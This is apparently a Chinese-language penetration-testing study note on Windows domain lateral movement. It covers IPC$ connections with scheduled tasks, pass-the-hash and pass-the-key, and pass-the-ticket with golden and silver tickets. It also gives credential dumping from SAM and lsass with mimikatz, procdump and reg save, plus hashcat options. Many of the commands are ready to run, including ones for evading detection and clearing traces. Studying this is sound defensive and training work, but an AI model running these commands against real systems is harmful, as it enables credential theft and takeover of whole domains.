渗透测试横向移动

介绍

其实也很好理解,在渗透测试时当我们获取到内网某台机器的控制权后,把它当作一个跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大控制范围。甚至最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境。

思路

一.远程连接+定时任务执行

IPC

介绍

IPC(Internet Process Connection)是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。在同一个时间里两个IP只能建立一个IPC连接,通过ipc,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

条件
  1. 开启了139、445端口
    445远程桌面端口,139表示NetBIOS协议应用,这里是能用445就用445,不能用就是139

  2. 开启ipc$默认共享

  3. 用户名密码得知道

思路

通过IPC+计划任务的横向移动,整体思路就是:
与目标主机的IPC进行连接,连接后把命令执行的脚本传到目标主机(本地copy命令,或者用CS可以直接上传),同时创建执行命令脚本的计划任务,最后删除IPC连接

命令

建立ipc$的命令

net use \\<IP>\ipc$ password /user:username
net use \\192.168.__.__\ipc$ "123456" /user:administrator

查看已建立的连接

net use
copy

copy命令用来将命令执行的脚本传到目标主机上

copy C:\Users\Desktop\1.txt \\192.168.__.__\c$
net use本地映射

ipc连接可以通过本地映射将已经建立IPC连接的主机的任意盘映射到自己的本地。

net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下)
net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
dir

建立连接之后可以用dir列出远程主机的文件

dir \\192.168.__.__\c$
tasklist

建立连接后可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢)

/s:指要查看的远程系统的IP地址
/u:指定使用哪个用户执行这个远程命令
/p:指定该用户的密码
tasklist /S 192.168.__.__ /U administrator /P password
net use清楚痕迹

最后删除ipc连接

net use \\IP /del /y
schtasks

Schtasks 命令详解
使用schtasks创建名为cs的计划任务

schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32

可以用如下schtasks命令查看创建的计划任务

schtasks /query /TN cs

删除计划任务

schtasks /delete /tn "cs"

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果

二.哈希传递攻击(PTH)

参考windows 认证机制,这是windows的两种认证机制,NTLM验证靠HASH值,Kerberos靠票据(TICKET)。(感觉认证机制还有黄金白银票据不是一次两次就能看懂的,建议多看几次)

Hash结构如下

username:RID:LM-HASH:NT-HASH
思路

在域环境中为了方便管理,每一台管理员的账号和密码大概率相同(所以这里第一个要求,必须是本地管理员),所以攻击者就可以通过传递hash值来登录内网的其他主机,并且,通过hash传递不需要获得明文密码。

LM Hash(LAN Manager)和NTLM Hash(New technologies LAN Manager)

介绍

LM Hash是为了提高win操作系统安全性而采用的散列加密算法,本质是DES加密(生成原理),LM Hash明文密码被限定在14位内,它容易被破解但为了保证兼容性,只是将它禁用掉(如果抓到的LM Hash为aa3b435b51404eeaad3b435b51404ee则表示被禁或值为空),NTLM Hash就是为了提高安全性和兼容性而设计的,它基于MD4算法。
NTLM认证过程

1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
2.客户端将username明文传输到域控机
3.然后域控会随机生成16字节的challenge挑战码返回给客户端
4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
5.服务端将客户端发来的信息转发给域控
6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。

利用

mimikatz

提升权限

privilege::debug

这一步可以省略,应该是在2012版本之前可以直接get到明文密码

sekurlsa::logonpasswords

进行测试

sekurlsa::pth /user administrator /domain:域名 /ntlm:ntlm hash

AES(PTK)

PTK(Pass The Key)原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似PTH的功能。AES密匙进行哈希传递的前提是本地安装KB2871997KB2871997是否真的能防御PTH攻击?(SID为500的Administrator账号依旧可以进行NTLM Hash传递)。

利用

mimikatz

使用命令获取aes的hmac

"privilege::debug"   //提升权限
"sekurlsa::ekeys"

使用mimikatz进行测试:

sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"

在弹出的cmd窗口中输入net use命令进行测试

net use

wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试

三.票据传递攻击(PTT)

相比于PTH,票据传递(Pass The Ticket)则不需要本地管理权限。

kerberos认证

kerberos认证原理—讲的非常细致,易懂
能用通用的语言介绍下 Kerberos 协议么?
一些名词

KDC(Key Distribution Center):密钥分发中心里面包含两个服务:AS和TGS
AS(AuthenticationServer):身份认证服务 TGS(Ticket Granting Server):票据授予服务
TGT(Ticket GrantingTicket):由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
Pass The Ticket:如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限

黄金票据

参考黄金票据和白银票据攻击及其原理介绍
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt(可以理解为域控中用来管理发放票据的用户)的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

白银票据

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

金票和银票的区别

  1. 获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务

  1. 认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

  1. 加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

利用

mimikatz

使用mimikatz进行传递时,不需要本地管理员权限(system)。

首先将内存中票据导出:

privilege::debug
sekurlas::tickets /export

导出票据后,清除内存中的票据:

kerberos::purge

将票据注入内存

kerberos::ptt "票据"
kerberos::ptt "C:\ticket\[0;-----]-------------------.COM.kirbi"

访问远程主机目录:

dir \\dc\c$
kekeo

kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据
下载地址:https://github.com/gentilkiwi/kekeo/releases

生成票据文件:

tgt::ask /user:____ /domain:____ /ntlm:___
tgt::ask /user:administrator /domain:----.com /ntlm:D9F9553F-----------------

清空缓存票据,导入票据即可:

kerberos::purge        // 清除内存中的其他票据
klist purge            //windows下系统自带命令清除票据

kerberos::ptt 票据     // 导入票据
kerberos::ptt TGT_adminstrator@--------------.COM.kirbi

导入内存后退出kekeo使用dir命令

exit
dir \\dc\c$

工具

怎么说呢,好多工具已经被标记为恶意软件了。就连平时的渗透测试环境中也只是用到常用的一些工具,所以只是了解一下。
参考内网渗透–横向移动

密码抓取

用户名、散列值和其他安全验证都保存在SAM文件(C:\Windows
\System32\config)中,lsass.exe进程用于实现windows的安全策略,所以可以用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

GetPass

https://github.com/QAX-A-Team/getpass

PwDump7

运行后得到账户的NTLM Hash,可通过彩虹表来破解。
https://github.com/Dionach/pwdumpstats

QuarksPwDump

https://github.com/peterdocter/quarkspwdump

QuarksPwDump.exe --dump-hash-local

通过SAM和System文件

导出SAM和System文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive
mimikatz读取

把上面导出的文件放到同一目录下

lsadump::sam /sam:sam.hive /system:system.hive
mimikatz读取SAM导出Hash

这里需要在目标机器上运行mimikatz,要注意mimikatz在目标机器上不被发现

privilege::debug	#提升权限
token::elevate		#提升至system权限	
lsadump::sam		#抓取
mimikatz在线读取SAM文件
privilege::debug
log
sekurlsa::logonpasswords
mimikatz离线读取lsass.dmp文件

首先导出lsass.dmp文件,第一种方法,直接任务管理器找到lsass.exe进程,右键选择创建转储文件(Create Dump File),另一种方法是使用工具Procdump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

导出后扔到mimikatz目录下

sekurlsa::minidump 文件      //有Switch to MINIDUMP字样则成功。
sekurlsa::logonpasswords full

密码破解

hashcat

下载地址https://github.com/hashcat/hashcat
Hashcat的使用手册总结
hashcat是一款自称为世界上最快的密码破解工具。kali应该是自带的。下面是hashcat常用参数

-m                            指定哈希类型
-a                            指定破解模式
-V                            查看版本信息
-o                            将输出结果储存到指定文件
--force                       忽略警告
--show                        仅显示破解的hash密码和对应的明文
--remove                      从源文件中删除破解成功的hash
--username                    忽略hash表中的用户名
-b                            测试计算机破解速度和相关硬件信息
-O                            限制密码长度
-T                            设置线程数
-r                            使用规则文件
-1                            自定义字符集  -1 0123asd     ?1={0123asd}
-2                            自定义字符集  -2 0123asd    ?2={0123asd}
-3                            自定义字符集  -3 0123asd    ?3={0123asd}
-i                            启用增量破解模式
--increment-min       	      设置密码最小长度
--increment-max               设置密码最大长度

hashcat破解模式介绍

0    straight                                字典破解
1    combination                             将字典中密码进行组合(1 2>11 22 12 213    brute-force                             使用指定掩码破解
6    Hybrid Wordlist + Mask                  字典+掩码破解
7    Hybrid Mask  + Wordlist                 掩码+字典破解

hashcat集成的字符集

l | abcdefghijklmnopqrstuvwxyz          纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ          纯大写字母
d | 0123456789                  	 	纯数字
h | 0123456789abcdef          	        常见小写子目录和数字
H | 0123456789ABCDEF             	    常见大写字母和数字
s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~   特殊字符
a | ?l?u?d?s                  		    键盘上所有可见的字符
b | 0x00 - 0xff              		    可能是用来匹配像空格这种密码的

利用工具

PsExec

PsTool
PsExec 实用工具
emmm因为是参考的《内网安全攻防:渗透测试实战指南》,下面还有一些wmi、smbexec、dcom、spn、Kerberoast、exchange邮件服务等等等等这里就先不总结了,等真的碰到的时候再来总结吧。

你可能感兴趣的